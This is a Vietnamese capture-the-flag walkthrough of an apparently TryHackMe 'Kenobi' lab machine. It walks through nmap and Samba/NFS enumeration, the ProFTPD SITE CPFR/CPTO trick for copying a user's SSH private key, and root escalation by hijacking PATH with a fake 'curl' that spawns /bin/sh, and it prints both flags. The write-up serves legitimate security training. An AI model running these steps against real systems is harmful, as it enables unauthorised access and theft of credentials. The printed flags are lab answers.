Summary

Room này có các kiến thức về:

  • SMB protocol và implementation của nó ở trên Linux (Samba).
  • RPC bind, network file system và cách mount thư mục.
  • Pro FTPD
  • SUID bit, GUID bit và Sticky bit

Deploy the Vulnerable Machine

Chạy Nmap với câu lệnh sau:

sudo nmap -sS -sV -T4 10.10.65.217

Ta tìm được các port và các version của chúng như sau:

PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         ProFTPD 1.3.5
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http        Apache httpd 2.4.18 ((Ubuntu))
111/tcp  open  rpcbind     2-4 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
2049/tcp open  nfs         2-4 (RPC #100003)
Service Info: Host: KENOBI; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Port 80 chỉ là trang web có chứa một hình ảnh, không có gì để khai thác. Các port còn lại đều sẽ được cover trong các section bên dưới.

Enumerate Samba for Shares

Ta thấy trong kết quả scan có port 139 và port 445 sử dụng chương trình Samba.

Samba là một phiên bản của giao thức SMB1 mà hoạt động trên Linux, cho phép người dùng truy cập đến các tài nguyên chia sẻ.

Thông tin về các port của Samba:

Có thể dùng Nmap để khám phá các tài nguyên chia sẻ SMB như sau:

nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.65.217

Output có dạng như sau:

Host script results:
| smb-enum-shares:
|   account_used: guest
|   \\10.10.65.217\IPC$:
|     Type: STYPE_IPC_HIDDEN
|     Comment: IPC Service (kenobi server (Samba, Ubuntu))
|     Users: 1
|     Max Users: <unlimited>
|     Path: C:\tmp
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\10.10.65.217\anonymous:
|     Type: STYPE_DISKTREE
|     Comment:
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\home\kenobi\share
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\10.10.65.217\print$:
|     Type: STYPE_DISKTREE
|     Comment: Printer Drivers
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\var\lib\samba\printers
|     Anonymous access: <none>
|_    Current user access: <none>

Kết nối đến tài nguyên chia sẻ thông qua chương trình smbclient của Linux:

smbclient //10.10.65.217/anonymous

Hoặc để tải file:

smbget -R smb://10.10.65.217/anonymous

Important

File tải về có tên là log.txt cho ta biết thông tin sau: target machine có sinh khóa SSH cho user. Khóa bí mật được lưu ở đường dẫn /home/kenobi/.ssh/id_rsa.

RPC Bind

Ở lần scan Nmap đầu tiên, ta đã thấy được port 111 sử dụng dịch vụ rpcbind.

RPC Bind là một dịch vụ cho phép chuyển các program number của RPC (Remote Procedure Call) thành các địa chỉ công khai. Khi một dịch vụ RPC được khởi chạy, nó sẽ cho biết địa chỉ mà nó đang lắng nghe cũng như là các program number mà nó sẵn sàng để phục vụ.

Trong trường hợp của room này, port 111 cho phép kết nối đến network file system.

Sử dụng câu lệnh sau để tìm ra các thư mục chia sẻ có thể mount:

nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.65.217

Tìm được thư mục /var ở trong output sau:

PORT    STATE SERVICE
111/tcp open  rpcbind
| nfs-showmount:
|_  /var *

Gain Initial Access with ProFtpd

ProFTPd là server FTP mã nguồn mở miễn phí tương thích với các hệ thống Unix và Windows.

Kết nối đến ProFTPd server bằng Netcat rồi dùng lệnh SITE CPFRSITE CPTO để sao chép file id_rsa có chứa private key đến thư mục /var/tmp. Cụ thể:

220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.65.217]
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/id_rsa
250 Copy successful

Lý do chuyển sang /var là vì ta biết rằng ta có thể mount thư mục này vào attacking machine. Thực hiện mount như sau:

sudo mkdir /mnt/kenobiNFS  
sudo mount 10.10.65.217:/var /mnt/kenobiNFS  

Sau đó sao chép private key vào thư mục hiện tại và sử dụng để kết nối SSH:

cp /mnt/kenobiNFS/tmp/id_rsa .
chmod 600 id_rsa
ssh -i id_rsa kenobi@10.10.65.217

Đọc tập tin /home/kenobi/user.txt và ta có được flag:

Success

d0b0f3f53b6caa532a83915e19224899

Privilege Escalation with Path Variable Manipulation

Tìm hiểu về SUID bit, GUID bit và Sticky bit:

Chức năng của chúng:

PermissionOn FilesOn Directories
SUID BitUser executes the file with permissions of the file owner-
SGID BitUser executes the file with the permission of the group owner.File created in directory gets the same group owner.
Sticky BitNo meaningUsers are prevented from deleting files from other users.

Khi kiểm tra bằng câu lệnh:

find / -perm -u=s -type f 2>/dev/null

Thì ta tìm được binary /usr/bin/menu có SUID bit. Chạy thử thì thấy hiển thị như sau:

1. status check
2. kernel version
3. ifconfig
** Enter your choice :

Xem nội dung của binary này:

strings /usr/bin/menu

Ta thấy được những dòng sau:

curl -I localhost
uname -r
ifconfig

Có thể thấy, binary này gọi sử dụng chương trình curl. Khi menu thực thi thì nó sẽ kiếm chương trình curl ở trong environment path để thực thi. Mà menu được thực thi dưới quyền root nên chương trình curl cũng sẽ được thực thi dưới quyền root.

Ta tiến hành khai thác bằng cách sao chép một phiên bản khác của /bin/sh và đổi tên thành curl, sau đó cho đường dẫn của nó vào environment path để đánh lừa menu nhằm thực thi shell dưới quyền root.

Giả sử ta đang ở thư mục /tmp:

echo /bin/sh > curl
chmod 777 curl
export PATH=/tmp:$PATH

Thực thi menu một lần nữa và ta sẽ có được shell của root. Truy cập tập tin /root/root.txt và ta có được flag:

Success

177b3cd8562289f37382721c28381f02

Resources

Footnotes

  1. Viết tắt của Server Message Block, là giao thức của Windows cho phép các máy tính kết nối với nhau để chia sẻ tập tin và các máy in.